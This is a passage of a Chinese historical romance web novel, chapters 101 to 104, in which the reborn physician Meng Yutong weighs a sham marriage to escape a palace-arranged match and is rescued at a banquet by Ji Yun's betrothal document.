她看向面露困惑的孟玉桐,缓缓道来:“你年幼时,对你外祖家那边的人事所知不多。这刘思钧,不对,应说是柳思钧,你舅舅的独子。 “你母亲去后不久,他们父子曾特地赶来临安,本想将你接回秦州照料。后来见你周全,在此处也生活得安稳,这才打消了念头。他们虽回了秦州,但一直与我书信往来,关切你的境况。” 孟玉桐难掩惊讶:“竟还有此事,母亲从未对我提起过。” “当年,你父亲做了件混帐事。”老太太叹了口气,眼中掠过一丝痛惜与无奈,“他私下弄来一批毒草,想利用你母亲的关系,假借你外祖家马帮的名义运送出去。 “你母亲深明大义,将此事告知了我。我虽严惩了你父亲,但他与我、与你母亲,也就此离了心。你母亲忧心他日后再生事端,连累秦州娘家,便主动写信回去,断了往来。那时你年纪尚小,她自然不便与你细说这些。”《 》 100-110 第101章 第101章假成婚 提起自己这个儿子,孟老太太心中便涌起诸多无奈。 她语气沉了沉,带着几分难以释怀的复杂:“你父亲这人……幼时我对他管教过严,反倒将他的性子养得偏激又执拗。他总想在我面前证明自己并非只能倚靠母亲的庸才,可心太急,气太盛,一步错,步步错。到如今,我也懒得再去管他了。” 见话题扯远,老太太摆了摆手,拉回正题:“听你方才所言,思钧这孩子现今应当还未与你挑明这层关系。他此来临安,本是想着看你顺遂出嫁后再离开,认了亲反而多有不便。只是没料到,你压根没有成婚的打算。” 她目光审慎地看向孙女,“若你选择与他成婚,以他的品性和这层血缘,往后定不会亏待你。只是……他终究是秦州人,若要你舍弃这临安城、这照隅堂,随他去秦州,你可愿意?” 孟玉桐毫不犹豫地摇头。她从未想过离开临安。 照隅堂倾注了她的心血,更重要的是,祖母年事已高,她岂能抛下祖母独自在此? 更何况,她对刘思钧,从未有过男女之情。 孟老太太脸上露出“果然如此”的神情,用眼神示意白芷继续。 白芷只好硬着头皮往下说:“再一位,便是隔壁清风茶肆何店主的公子,何浩川何公子。何公子品性纯良,待人真诚,做得一手好糕点,家中在凤凰山还有一片茶园。姑娘曾救过何店主,何公子便时常送些瓜果点心茶叶过来,对姑娘很是热心。” 老太太眯了眯眼,转向吴嬷嬷:“此人你怎么看?” 吴嬷嬷斟酌着回道:“听描述,人品似乎不差。姑娘若嫁过去,离得近,照隅堂的营生也能继续打理。他家并非高门大户,姑娘往后想必也能自己做主,倒也算个选择。只是……”她顿了顿,面露难色,欲言又止。 老太太了然,接过话头,一针见血:“只是他家既非达官显贵,无势可倚,那老虔婆若想发难,随意寻个由头,便能让他家茶肆开不下去,届时反倒受其牵累。” “那……李世子怕是更不行了?”白芷已经进入了状态,不用催促便主动提到下一位。 吴嬷嬷忍不住翻了个白眼,这丫头净说废话。如今躲那位都来不及,岂有主动往上凑的道理?简直是嫌命长。 “这也不成,那也不成,”白芷小声嘀咕,几乎是脱口而出,“那就只剩下……纪医官了。” 此话一出,满院顿时陷入一片沉寂。 绕了一大圈,事情仿佛又回到了最初的起点。 孟老太太目光如炬,直直看向孟玉桐,那双饱经风霜的眼睛似乎能洞悉所有隐秘:“阿萤,你此前那般坚决要退掉与纪家的婚事……可是因为在梦中,预见了什么?” 孟玉桐猛地抬眸,眼中充满了难以置信的震惊。祖母为何会这样问?难道她…… 老太太紧紧握住孙女微凉的手,声音低沉而充满力量:“无论你梦见了什么,都要记住,事在人为。你要想清楚,你梦中遭遇的那些苦痛,根源究竟何在? “是因为嫁入了纪家这个门第,还是因为别的什么?此番你确是退了婚,可前世那些刺向你的刀,这一世,就当真完全避开了吗?” 她凝视着孙女迷茫的眼睛,语重心长:“阿萤,你是个聪明孩子。当初你执意退婚,是为了将命运握在自己手中,是为了避开漩涡。 “今日我让你择人成婚,其根本目的,与你当初退婚时并无二致——都是为了让你能更好地掌控自己的命运,护住自己。此乃殊途同归。” 一时间接收的信息太多,孟玉桐只觉得脑中一片纷乱。重生以来,她第一次感到如此彻底的迷茫,仿佛站在了命运的岔路口,前后皆是迷雾。 她怔怔地望着祖母关切而坚定的面容,最终,缓缓地点了点头,声音轻却清晰: “我会……好好考虑的。” 孟老太太临走前,神色凝重地嘱咐:“光咱们今日在这儿空谈也无用。结亲是结两姓之好,并非结怨,总需知晓对方的心意。此事原委利害,也当让他们知晓,再看他们是否仍有意愿。” 她招手让白芷近前,低声交代了几句,白芷认真点头应下。 “该说的,祖母都已说了,你要尽快思量清楚。若这几人皆不合适,祖母还有些故旧人脉,再为你寻访良配。” 老太太说着,在吴嬷嬷的搀扶下站起身,“此事需得尽早定下,否则我这心里,终是难以安稳。” 孟玉桐起身相送。行至院中,她不经意抬眼,瞥见二楼廊下,吴林独自坐在暗影里,目光正落在祖母身上。 恰在此时,孟老太太也若有所感,抬头望去。 两道视线在空中猝然相撞。 孟老太太的脚步猛地顿住,身形几不可察地晃了一下,竟在原地怔愣了片刻,眼中翻涌着极为复杂的情绪,似是惊愕,又似带着隐隐痛楚与愧然。 “祖母,怎么了?”孟玉桐上前一步,轻声询问。 孟老太太恍然回神,缓缓摇了摇头,什么也没说,重新提步向外走去。 送至医馆门口,临上马车前,老太太终究还是忍不住,低声问了一句:“方才医馆二楼廊下那人是何人?” 孟玉桐回道:“是这铺面原先的主人,吴林。我正是与他签的租契。他平日多在街口老桃树下摆摊卜卦。祖母认得他?” 孟老太太闻言,眼底闪过一丝更深的晦暗,最终只化作一声极轻的叹息:“世事无常,都是苦命人。” 言罢,她不再多言,转身扶着嬷嬷的手上了马车。 马车辘辘驶离。车厢内,孟老太太靠坐着,闭目不语,面色沉郁。 吴嬷嬷轻轻掀起车帘一角,回望了一眼渐远的照隅堂招牌,声音带着几分恍惚:“没想到,大姑娘这医馆,竟与吴大人有些关联。” 孟老太太依旧闭着眼,声音低哑:“当年之事,他亦受我牵连,我无颜见他。” 桂嬷嬷在一旁轻声劝慰:“老夫人,此事如何能怪您?皆是时运弄人。” 一路无话,车厢内只余压抑的沉默。直至快到孟府,桂嬷嬷才忍不住低声问道:“老夫人,今日纪公子特地到庄子上见您之事,为何不告诉姑娘?” 原来,自上次与医官院签下药材供契后,孟老太太难得松了口气,一直在城外庄子上静养,本打算天再冷些才回城。 不料纪昀竟寻到了庄子上,将照隅堂此前卷入风波、贤太妃暗中发难之事,一五一十告知了她。 纪昀如此关注x照隅堂,如此回护孟玉桐,孟老太太这般阅历,岂会看不出那年轻人的心思? 而他此举也确实聪明。这番利害关系若由他亲自去对玉桐言明,以她那孙女如今疏离防备的性子,只怕听不进去。 但经由自己这个祖母之口说出,再联系前尘旧怨与一片苦心,那孩子才能真正听进去,细细思量。 纪昀将人心谋算得清清楚楚。他如此大费周章,缘由只有一个,他动了真心。 这个看似冷情寡欲的年轻人,动起心来,与世间寻常男子并无二致,甚至更为执着。 他不仅带来了消息,更重新送来了当初定亲的信物——那对双鱼玉佩的另一半,以及一封婚书。 他说,这些流程本该由长辈正式登门,但恐被有心人察觉,反于玉桐不利。思来想去,只得行此权宜之计。 那婚书上,大婚之日一项是空着的,其余诸如双方名讳、籍贯、主婚人等,皆已按规矩填写妥当,纪家那边显然已打点好一切。 他早已料到,以孟玉桐的心性,绝不会轻易应下婚事。 这,便是他留下的后手。 若贤太妃当真发难,两家文书俱在,于礼法上便站得住脚。 孟老太太疲惫地靠在车壁上,缓缓道:“说与不说,眼下并不紧要。他能为桐丫头如此考虑周详,步步为营,足见真心。这般看来,纪家目前确是最适合她的选择。只是此人心思的确太沉,若让我说心里话,我还是更愿意桐丫头配个单纯些的。” 孟老太太走后,白芷便借口采买物什出了门。孟玉桐独自回到小院,在石凳上坐下。 夜空繁星点点,清冷月光洒满院落。她仰头望着星空,心绪却因孟老太太一番话起伏难平。 重生以来,她从未想过再涉婚姻。前世的锥心之痛,让她不敢再将自己的命运牵扯到另一个人的身上。 可祖母方才那番话,却在她固守的心防上,撬开了一丝缝隙。 上天予她重来一次的机会,是为了让她避开覆辙。 可若因固守前世的阴影,因噎废食,拒绝做出任何改变,是否……反而会走向另一种“覆辙”?若宫中那位太妃利用权势,随手一指,将她随意发嫁…… 到那时,那种身不由己的境地,焉知不是另一种深渊? 祖母说得对,她可以先一步将自己的婚事定下。 即便成婚,她依然可以是孟玉桐,是照隅堂的东家,是可以治病救人的大夫,是可以参加官册选拔的医者,婚姻不该是埋葬她的坟墓,或许,也能成为她前行的一道屏障? 她的手指无意识地在冰凉的石桌上轻点着,脑中思绪飞转。 忽然,她指尖一顿,眸中倏然掠过一道清亮。 既然本质是为了应对迫在眉睫的危机,寻求一个名分上的庇护…… 那她为何不能……找一个人,假成婚呢? 第102章 第102章暗示 八月十七,秋雨滂沱,寒意随着雨丝侵入临安城的每一个角落。 密集的雨点砸在照隅堂的青瓦上,汇成水流沿屋檐倾泻,织成一道迷蒙冰冷的雨幕。 午后,由于雨势实在太大,没什么人来看病,医馆内难得的清静。 孟玉桐正于柜台前仔细分拣、配伍着花药茶,白芷则拿着鸡毛掸子,心不在焉地四处拂扫。 “姑娘,您可还记得前些日子云舟提过的那出《破镜误》?”白芷凑到柜台前,手里的掸子无意识地在台面上划拉着。 孟玉桐未抬眼,手下动作不停:“嗯,可是那对男女因故分离,后又重逢,几经辗转、情感生变的故事?” “正是这出!”白芷见她记得,顿时来了精神,话匣子也打开了,“说来可真奇了!这《破镜误》明明早前就已唱到了最后一折,那女子狠心未应男子的求和,当时我还惋惜了许久。可昨日我出门采买,路过张瞎子的书摊,竟听见他又在讲这最后一折,那结局彻彻底底变了!” “哦?”孟玉桐漫应一声,并无多大兴趣,“改成何样了?” “改成了那男子百般恳求,苦心挽回,最终打动了女子,两人重修旧好,喜结连理,还白头偕老了!” 白芷越说越兴奋,“对了姑娘,我昨日在书摊前还碰见云舟了呢!我问他是不是偷懒出来听书,他倒好,支支吾吾不敢认,还扯谎说是纪医官特意让他来听的,听完还得回去一字不落地转述!您说这谎扯得,离不离谱?” 孟玉桐拈着药材的手指微微一顿,心头掠过一丝极淡的异样,却捉摸不清缘由。 不知怎的,她竟觉得,云舟或许并未扯谎。指使他来听这改编后结局的,说不定真是纪昀。上一次两人不经意路过张瞎子的书摊时,他看起来对这出戏颇感兴趣。 如今的他,与她记忆中和想象中的那个清冷自持之人,已然大不相同。 这般事,倒像是他能做出来的。 窗外雨势未见停歇,反而愈发大了。雨水从屋檐急坠,连成一片白茫茫的水帘。 孟玉桐望着门外泼天的雨色,心头那股刚被戏文结局引开的烦忧,又沉沉地压了下来。 假成婚的念头虽好,可这合适的人选,该去何处寻?谁会愿意以婚姻大事为交换的筹码,只为了解她眼前所困? 实在是有些强人所难了吧。 白芷瞧见自家姑娘望着雨幕怔怔出神、眉间轻锁的模样,便知她又在为那桩迫在眉睫的婚事忧心。 不过在她看来,姑娘着实不必过于焦虑。 因为她昨夜“采买”时,可是顺带办成了几件大事。 皆是遵照老夫人吩咐,将姑娘眼下亟需择婿成婚的处境,尤其是那两日内定下的紧迫,“不经意”地透漏给了那几位候选人。 她想起昨日同刘思钧言明此事时,那位向来爽朗的少当家竟罕见地手忙脚乱起来,立刻唤来崔大、梅三,火急火燎地商量着要入城采买登门礼。 若非天色已晚、店铺多已打烊,只怕当时就要冲出门去。他还信誓旦旦地向白芷保证,今日必亲至照隅堂,问过孟玉桐的意见,若她愿意,他便登门提亲去。 她又去了隔壁清风茶肆。何浩川听闻此事,亦是满面震惊。 白芷依着老夫人嘱咐,将姑娘的处境说得更严峻了几分,直言姑娘开罪了宫里的贵人,若无倚仗,只怕日后前程尽毁,皆由人拿捏。 那何公子果然心性纯良,闻言并未担忧自身受牵连,反倒神色郑重地即刻去寻何店主商议,想必是在斟酌提亲之事。 至于另一位……白芷皱皱眉,老夫人却特意交代,不必知会。 白芷心下虽觉奇怪,却也不敢违逆。 只是昨日路过城西巧遇云舟时,对方问起她行色匆匆所谓何事,她只含糊答了句要出城寻刘少当家办事。 云舟提出相送,也被她赶紧寻由头拒了。 万一让纪医官知晓她四下“暗示”了一圈,却独独漏了他,那还了得? 只是……眼看这雨下个不停,时辰也不早了,那两人怎的还没动静?该不会是……临阵退缩,改了主意吧? 白芷想到这里,心头刚升起的那点小得意瞬间被担忧取代,连手里的鸡毛掸子“啪嗒”一声掉在了地上都未曾察觉。 “白芷,”孟玉桐清冷的声音响起,带着几分探究,“你今日瞧着魂不守舍,可是有什么事瞒着我?” 白芷猛地回神,慌忙捡起掸子,干笑两声掩饰道:“没、没有的事。姑娘多心了!我……我就是在琢磨,晚上给您做点什么好吃的驱驱这寒气!” 孟玉桐虽觉白芷神色有异,却也无心深究。两人正说着些闲话,医馆门外却传来动静。 只见一位身着宫装、气质精干的嬷嬷撑着伞步入医馆,身后跟着两名低眉顺眼的宫女。 那嬷嬷衣着体面,料子光洁挺括,袖口与衣襟处绣着精细花纹,通身透着宫中贵人身边得脸人才有的气派。 她面容白皙,一双眼睛格外锐利,扫视间仿佛一切尽在掌控。 见到来人,孟玉桐与白芷皆是神色一凛。 “照隅堂孟氏,何在?”那嬷嬷声音不算高昂,却带着宫里人特有的拿腔调,清晰传入耳中。 孟玉桐心猛地一沉,那股不祥的预感骤然清晰。 她上前一步,神色平静地应道:“民女便是孟玉桐。不知您是……” 那嬷嬷见她应答,脸上立刻堆起亲和的笑意,竟上前一步,颇为热络地虚扶了一下孟玉桐的手臂:“孟姑娘安好。咱家是奉贤太妃娘娘之命前来。娘娘听闻前番景福公主中毒,多亏了姑娘慧心巧x手,研制解药,方才化险为夷。娘娘心中甚慰,直赞姑娘仁心妙术。 “正巧今日宫中设下小宴,娘娘便想起姑娘来,特命咱家前来相请,邀姑娘入宫一聚,也好当面嘉许。这般恩典,姑娘想必不会推辞吧?” 她话语听着客气,笑意也殷勤,可那眼神却带着不容置疑的意味,字里行间更是将“太妃恩典”、“当面嘉许”抬了出来,丝毫不给人拒绝的余地。 白芷在一旁听得瞪大了眼睛,心跳如擂鼓。 怎么来得这样快!姑娘的婚事还没着落呢!她急得手心直冒汗。 孟玉桐袖中的指尖微微蜷缩,面上却依旧是得体的浅笑,她迎着那嬷嬷看似温和实则压迫的目光,从容应道:“太妃娘娘厚爱,民女感激不尽。定当准时赴约。” “那便好。”那嬷嬷笑容更深,目光在孟玉桐素净的衣裙上扫过,语气带着几分提点,更带着几分不容疏忽的意味,“时辰尚早,姑娘且安心准备。宫中不比外头,规矩多,姑娘还需仔细梳妆一番,方不失仪,也免得堕了太妃娘娘的颜面。” 说完,她也不等孟玉桐再回话,只对身后宫女递了个眼色,便领着人转身离去,姿态干脆利落,并不将这小小医馆放在眼里。 人一走,白芷立刻扑到孟玉桐身边,急急道:“姑娘,怎么办啊!怎么会这么快!昨日……昨日我按老夫人的吩咐,出城去找了刘少当家,他亲口说了今日必会上门来问您的意思,若您点头,他立刻就去操办提亲之事! “还有何公子,我也去找了,他……他并不怕受牵连,当时就去找何老爷商量了,按理说,今日也该有回音了!可现在……眼下这情形可怎么等?我……我这就去清风茶肆找何公子……” 她慌得语无伦次,再也顾不得隐瞒,将老夫人让她私下传递消息的事情和盘托出。 “你昨日去找了他们二人?”孟玉桐确认道。 白芷连连点头,急得快要哭出来:“他们定然是在准备了!姑娘,要不……您想办法晚些出发?或者我现在立刻就去茶肆催一催?” 孟玉桐闭了闭眼,再睁开时,眸中已是一片沉静的清明,仿佛方才那一瞬间的紧绷只是错觉。 她拉住白芷冰凉的手,声音低沉却异常稳定:“来不及了。” 她快速吩咐道:“你现在立刻去找祖母,请她务必尽快替我备下一份婚书。就写我与刘思钧的。舅舅舅母远在秦州,临安只有他一人,婚书拟定反倒简便。而且他终究要回秦州,在此地与我定下名分,待他离去时,我们再寻由头解除婚约,于他日后名声也无大碍。 “我这边收拾一下便直接入宫。你那边,待祖母将一应文书准备妥当,你带上其中一份,立刻赶往景福公主府,恳请公主府的人想办法,务必将婚书尽快送入宫中,交到景福公主手中。” 白芷连忙用力点头:“是,姑娘!我记下了!”她不敢有丝毫耽搁,从墙角抓过一把油纸伞,转身便冲入了茫茫雨幕之中。 孟玉桐独立堂中,窗外雨声淅沥,她心绪如这雨声一般喧杂。 祖母料得果然没错,太妃此番突然召见,绝不只是吃一顿饭那么简单。 宫宴之上,贵人酒酣耳热之际,随口赐婚之事并非罕见。太妃既以嘉奖救治景福之名设宴,景福公主届时必然在场。 若太妃当真强行指婚,景福或许会出言维护,但终究难以正面违逆太妃。可若自己已身负婚约,景福公主再代为周旋,便名正言顺多了。 思路瞬间清晰无比。她必须先有一纸婚书在手,哪怕格式粗糙,手续不全,也必须在关键时刻,拿出这个已有婚约的凭证。 否则,今日宫门,恐怕易进难出。 第103章 第103章赐婚 凤凰山上,秋雨如注,密集地敲打着何家茶园的茶叶。何浩川与父亲何鸿正领着工人们冒雨抢收,蓑衣斗笠难挡寒意,衣袍早已湿透,紧贴在身上。 昨夜父子二人促膝长谈,何鸿见儿子心意已决,又念及孟玉桐曾救过自己性命,对这门亲事,他并无什么意见。 今日一早,何浩川正欲前往照隅堂表明心迹,不料景福公主府忽遣人来,言明急需一批上等新茶,且当日便要,不容延误。 何家不敢怠慢此等贵客,父子俩只得暂闭茶肆,领着伙计们匆匆上山。 原想着加紧采摘,赶在天黑前下山尚有机会,岂料天公偏不作美,忽然下起雨来。 这瓢泼大雨不仅延缓了进度,更让山路变得泥泞难行。饶是如此,众人也不敢停歇。 何浩川心中更是焦灼,他虽性子纯善,却并非愚钝。孟玉桐那般品貌才情,心生爱慕者又何止他一人? 若此番失了先机,恐怕缘分便尽了。 何鸿看出儿子心神不宁,趁着搬动茶筐的间隙,推了他一把:“臭小子,魂不守舍的!若真惦记着山下的事,就赶紧下去!别在这儿碍手碍脚,省得耽误了铺子里的生意,坏了咱们茶肆的名声。” “爹,我帮您……”何浩川抹了把脸上的雨水,声音带着犹豫。 何鸿看着儿子这般模样,重重叹了口气:“你这般瞻前顾后、畏首畏尾,如何能讨得姑娘家欢心?今日采茶有我们这些人在,出不了岔子。我看你啊,分明是怕了。怕人家姑娘不选你,便想借着由头当个缩头乌龟,躲在这山上! “你只管躲着吧,只要日后想起今日,莫要后悔就成!” 他声音提高了几分,穿透雨幕,“人生在世,顾虑太多反倒心累。不如就豁出去,顺着自己的心意搏一回。至少你尽力争取过,将来也不会留下遗憾。” 何浩川听完父亲一番话,浑身一震。他抬眼望向山下临安城的方向,目光中的犹豫挣扎渐渐被一股破釜沉舟的坚定取代。 他猛地将肩上的茶筐往地上一放,雨水顺着他的下颌滴落,声音却异常清晰坚定:“爹,对不起,儿子要先下山了。” 何鸿看着儿子眼中重新燃起的光彩,疲惫的脸上终于露出一丝宽慰的笑容,他挥了挥手,声音也缓和下来:“去吧!这里用不着你!” 与此同时,城外农庄。 刘思钧几人暂住的这处庄舍年久失修,平日小风小雨尚可支撑,遇上这般罕见的秋日暴雨,便显出了颓态。 不仅多处屋顶瓦片松动,雨水如注般灌入,更有几处房梁因常年潮湿,不堪重负,发出令人心惊的“嘎吱”声,墙皮混着泥水大片剥落,眼看就有垮塌之险。 庄户一家急得团团转,生怕这屋子毁于一旦。 刘思钧见状,岂能坐视不理?当即吩咐崔大、梅三冒雨入城采买木料、油毡等物,几人挽起袖子,爬上爬下,奋力抢修。 无奈雨势太猛,往往刚堵住一处漏洞,旁边又被冲开,或是新的漏点不断出现,直把几人累得筋疲力尽。 直至傍晚时分,雨势渐歇,几间危房总算勉强加固完毕,不再有倾颓之虞。 刘思钧连口水都顾不上喝,抹了把脸上的汗水和雨水,招呼上崔大、梅三,翻身上马,便朝着临安城方向疾驰而去。 望着三人远去的背影,农庄的女主人脸上写满了不安与愧疚:“孩子他爹,咱们这样……是不是太不厚道了?刘兄弟他们是实诚人,住这儿没少帮衬咱们,他诚心待咱们,咱们反倒合起伙来骗他……” 那男主人用胳膊肘碰了碰她,压低声音:“话是这么说没错!可你也不想想,这庄子是谁给咱们安身立命的?若不是纪家暗中照拂,咱们如今还在给别人当佃户,哪来这遮风避雨的地方? “今日之事,确实对不住刘兄弟……等他回来,咱们备上好酒好菜,我好好陪他喝个痛快!” “唉,也只能如此了。”女主人望着刘思钧离开的方向,幽幽叹了口气。 * 皇城之内,灯火煌煌。 此次宴设在一处精致暖阁内,因着秋雨带来的寒意,四角早已置好了暖炉,驱散了湿冷,阁内温暖舒适。 殿内陈设典雅,熏香袅袅,丝竹之声清越悠扬。 贤太妃端坐于上首主位,身着绛紫色宫装,雍容华贵,眉眼之上虽爬满了风霜,风霜之后却不见她这般年纪人该有的颓势,反而有一股常人难有的、毫不掩饰的劲儿。 景福公主与荣亲王妃分坐两侧下首首位,其余几位官家女眷及窦志杰、瑾安公主等人则依序而坐。 宴席名义上是为景x福公主大病初愈压惊,故而气氛看似和乐融融。 孟玉桐这样的稀客被宫人引入殿内时,不免引人侧目。 她今日依言稍作梳妆,穿了件月白玉兰纹的襦裙,虽不张扬,却越发衬得她气质清冽,姿容明艳。 贤太妃见到她,脸上堆起看似亲和的笑容,远远便招手:“好孩子,快过来,让哀家瞧瞧。” 态度倒是热络,像是两人相识已久似的。 孟玉桐依言上前,从容行礼,贤太妃目光在她身上打量一番,让她不必多礼,又故作寒暄几句,说了些感念她对景福的救命之恩,此前多有误会等等的场面话。 孟玉桐浅笑着回应,并未说别的。 她最终被安排在了景福公主下手的位置。在座众人见太妃如此礼遇一位平民医女,皆交换着意味深长的眼神。 宴席伊始,珍馐美馔流水般呈上,身着彩衣的舞姬翩跹起舞,乐声靡靡。 席间众人纷纷向太妃和景福公主敬酒,言辞多是恭维太妃慈爱,待公主如亲生云云。 贤太妃面含浅笑,一一受下,目光偶尔掠过孟玉桐时,那笑意便深上几分,带着一股淡淡审视。 景福公主则微皱了皱眉,对于这些奉承之词不过略举杯示意。她抬起头,目光偶尔与对面的瑾安相接,空气中便似有寒冰凝结。 瑾安垂眸吃着面前的菜,一眼看上去,还是那副温良无害的柔弱形象。 宴至中酣,殿外忽有内侍通传:“纪医官到——” 众人循声望去,只见纪昀身着一身青色长衫,肩头带着未干的雨气,踏入殿内时的步履微快,比他平常之时,看上去少几分淡然稳重。 他先向太妃及荣亲王妃行了礼,目光与孟玉桐有瞬间的交汇,深沉难辨。 景福公主见他来了,招手让他近前:“淮之,忙什么去了?怎的这时才来?” 纪昀走到景福公主身侧,在下人添置的座位上安然落座,理了理袍袖,声音清朗,“回姨母,路上因雨耽搁了些时辰,劳太妃与姨母久候,是淮之之过。” 贤太妃点头示意:“不说这些,来了就好。” 她招手让宫人们开始弹奏表演。殿内暖香馥郁,歌舞升平,一派和乐景象。 酒过三巡,贤太妃眉眼间的笑意愈发深了,她目光缓缓扫过席间众人,最终落在了孟玉桐身上,却带着一种居高临下的审视。 贤太妃放下手中的玉箸,淡淡出声,殿内丝竹声渐歇,所有人的目光都汇聚过来:“今日这宴,一是为景福压惊,二来嘛……哀家瞧着你们这些小辈,个个都是好的,心里也欢喜。” 她语气慈和,仿佛闲话家常,“尤其是玉桐这丫头,模样好,医术佳,性子也沉静,哀家看着就心生欢喜。你年纪也不小了,这终身大事,可有考量了?” 孟玉桐心下一顿,她眼角余光往殿外掠去,这么久了,怎么公主府还没有人来。 她心中难免升起几分忐忑,她起身,垂首恭敬回道:“回太妃娘娘,民女潜心医术……” “诶——”太妃不容她说完,便笑着打断,“女儿家的青春最是耽搁不起。哀家今日便做个主,替你寻一门好亲事,如何?” 她目光一转,落在下首正自顾自饮酒的窦志杰身上,唇角微勾,“志杰这孩子,是哀家看着长大的,家世品行皆是上乘,与玉桐你,正是郎才女貌,天作之合。今日哀家便为你二人赐婚,成就这段良缘,也算是佳话一桩。” 此言一出,殿内瞬间安静下来。 窦志杰此人,谁不知他风流在外的名声,府中一娇妻一美妾,外头还养了四五座宅子的美人儿。整日与临安城中一群纨绔子弟厮混,为人圆滑,精于算计,实在是算不上什么‘良配’。 这贤太妃此前待这位平民医女热络,看来不是真心。 窦志杰先是一愣,随即脸上浮现出一种介于惊讶与玩味之间的神色,赐他一个美人,他自是无法拒绝的。 他并未立刻谢恩,反而下意识先瞥了纪昀一眼。 而瑾安公主,也往这一边投过视线,不过那目光更多的,也是落在纪昀身上。 那视线冷冷幽幽,夹杂这几分看好戏的意味。 孟玉桐心头一紧,正欲在此时开口婉拒,贤太妃却像是早已料到,根本不给她机会,目光又转向了纪昀,语气状似温和,却暗含威压:“还有淮之,你与瑾安自幼相识,情分非比寻常。你如今也到了成家立室的年纪,不若今日,哀家也将瑾安指婚于你,双喜临门,岂不美哉?” 景福公主的脸色沉了下来,“太妃,婚姻大事,并非儿戏。” “太妃娘娘,”纪昀清冷的声音打破了沉寂。 他缓缓站起身,身姿挺拔如松,面上并无太多波澜,只那双惯常疏冷淡漠的眼,此刻难掩锐利,直直望向贤太妃,“娘娘美意,纪昀心领。只是,赐婚之事,恕难从命。” 贤太妃脸上的笑容淡了几分,眉宇之间,厉色乍现:“哦?为何?可是觉得瑾安配不上你?” 第104章 第104章与我成婚 室内静默一瞬。 “并非如此。”纪昀语气平稳,字字清晰,而又掷地有声,“实是因臣,早已定下婚约,不敢另娶。” “婚约?”贤太妃挑眉,显然不信,“哀家怎未听闻?若是说你与孟家的婚事,不是早就退了?” 纪昀不再多言,转身对着殿外沉声道:“请桂嬷嬷进来。” 殿门开合,一身雨水湿气的桂嬷嬷,手捧一个锦盒走入殿中。她先向太妃及诸位贵人行了礼,随即在纪昀的示意下,当众打开了锦盒。 只见盒中安然躺着一封泥金红底的婚书,以及一对晶莹剔透的双鱼玉佩。 纪昀拿起那封婚书,双手呈上:“此乃臣与孟玉桐姑娘的婚书,双方长辈皆已签字画押,信物在此。” 他拿起那对双鱼佩,将其中一枚举起,从座位之间离开,朝着孟玉桐的方向走去。 他停在孟玉桐坐席前,目光转向她,声音低沉而清晰,带着一种难以言喻的复杂情愫,“此前种种,是我之过,惹你生气,致使你负气退婚。然婚约并未解除,信物我一直珍藏。今日,当着太妃与诸位贵人之面,物归原主。别再同我置气了可好?” 他这番话说得巧妙,将前次退婚轻描淡写归结为“惹她生气”、“负气退婚”,既全了孟玉桐的颜面,又将两人的关系重新拉回了“未婚夫妻”的定位上。 殿内众人皆被这突如其来的变故惊得目瞪口呆。 贤太妃脸色彻底沉了下来,她盯着那婚书和玉佩,眼神阴鸷。 景福公主见状,立刻抓住时机,笑着开口,语气带着几分恰到好处的调侃与圆场:“哎呀,原来竟是小两口闹别扭!本宫就说嘛,淮之前些日子为何那般拼命为玉桐奔走,原是存了赔罪挽回的心思! “太妃,您看这……人家小两口婚书信物俱全,您这乱点鸳鸯谱,可不成了拆散良缘的恶人了?” 她开玩笑似的说出来,却句句在理,字字在打贤太妃的脸。 贤太妃胸口微微起伏,显然气得不轻,但景福公主已将话说到这个份上,婚书信物确凿,她若再强行赐婚,不仅毫无道理,更会落人话柄,徒惹笑话。 她死死盯着纪昀和孟玉桐,半晌,才从牙缝里挤出一句话:“倒是哀家多事了。” 孟玉桐接过纪昀手中的玉佩,走到纪昀身侧,往前福身行礼:“是民女不懂事,闹了误会,辜负太妃一番美意。” “罢了罢了,今日也差不多了,就到这里吧,哀家也累了。”太妃说完这句,便起身离席,拂袖而去。 见太妃离去,席间众人也无意逗留,纷纷起身告退。 瑾安行至纪昀与孟玉桐面前,脚步微顿,脸上展露浅笑,只是那笑意未达眼底:“原来竟是一场误会,倒累得太妃娘娘为我的事白操心一场。说来惭愧,连我自己也未曾料到,太妃娘娘会存了这般心思,竟想将我与纪医官凑作一对。” 她语气轻柔,带着几分恰到好处的无奈与无辜。 纪昀只淡淡颔首,并未多言,神色疏离,显然不欲与她多作纠缠。 瑾安唇角细微地抽搐了一下,眼底飞快掠过一丝不耐,但转瞬又被更深的笑意掩盖。 她目光转向孟玉桐,语气愈发柔和:“既然二位婚约照旧,不知佳期定在何时?届时,我也好来讨一杯喜酒,沾沾喜气。” 她身侧随侍的青书始终垂首恭立,此刻却像是感受到目光,x抬起眼,恰好与孟玉桐探究的视线对上。 孟玉桐心中疑窦丛生,青书为何会在瑾安身边? 纪昀不动声色地向前微踏半步,身形恰好将孟玉桐护在后方,隔绝了瑾安的视线,语气平静无波:“多谢公主关心,婚期若定,必当奉上喜帖。时辰不早,公主玉体欠安,还需静养,下官与未婚妻便先行告退了。” 言罢,他自然地握住孟玉桐的手,转身便走。 宫道悠长,秋夜的寒风裹挟着湿气扑面而来。 孟玉桐的指尖冰凉,带着雨后的寒意,却被纪昀温热干燥的掌心全然包裹。 那温度透过皮肤传来,竟让她纷乱的心绪奇异地安定了几分。 她脑中飞速运转,今夜这急转直下的局面究竟是如何发生的?桂嬷嬷送来的婚书,为何会是她和纪昀的名字? 两人沉默地行至宫门外墙角,云舟驾着马车早已等候在此。 纪昀低头,看着孟玉桐依旧微蹙的眉头和心事重重的脸,在她手背上轻轻捏了捏,低声道:“先上车。” 孟玉桐蓦地回神,点了点头。 马车辘辘行驶在寂静的街道上。车厢内,两人相对而坐。 “婚书……” “今夜之事……” 两人几乎同时开口,又同时顿住。 “你先说。”纪昀示意。 孟玉桐抬眸,直接问道:“今晚这婚书,究竟是怎么回事?” 纪昀神色如常,解释道:“今夜我本是去寻孟老夫人。孟家供给医官院的一味药材消耗颇大,库存有些吃紧,需与她商议后续供应。 “恰好白芷匆忙赶到,言明你被急召入宫,道出太妃可能借机指婚的担忧,以及你欲借刘思钧之名假订婚约以解燃眉之急的打算。” 他目光沉静地看着她:“你选择刘思钧,是觉得他迟早要离开临安,此事对他名声影响最小,你心中的负担也最轻,是么?” 孟玉桐没说话,默认了。 “你可曾想过,”纪昀语气平稳,却带着一种洞悉局势的冷静,“太妃今日有备而来,岂会因你一纸仓促拟就、破绽明显的婚书便轻易罢休?她若铁了心要拿捏你,有的是法子让你的婚约作废。我曾说过,若有难处,望你能第一时间寻我。为何这一次,你想到的依然不是我?” 他眉宇之间,隐隐透出几分焦躁,是从前从未在他身上见过的情绪。 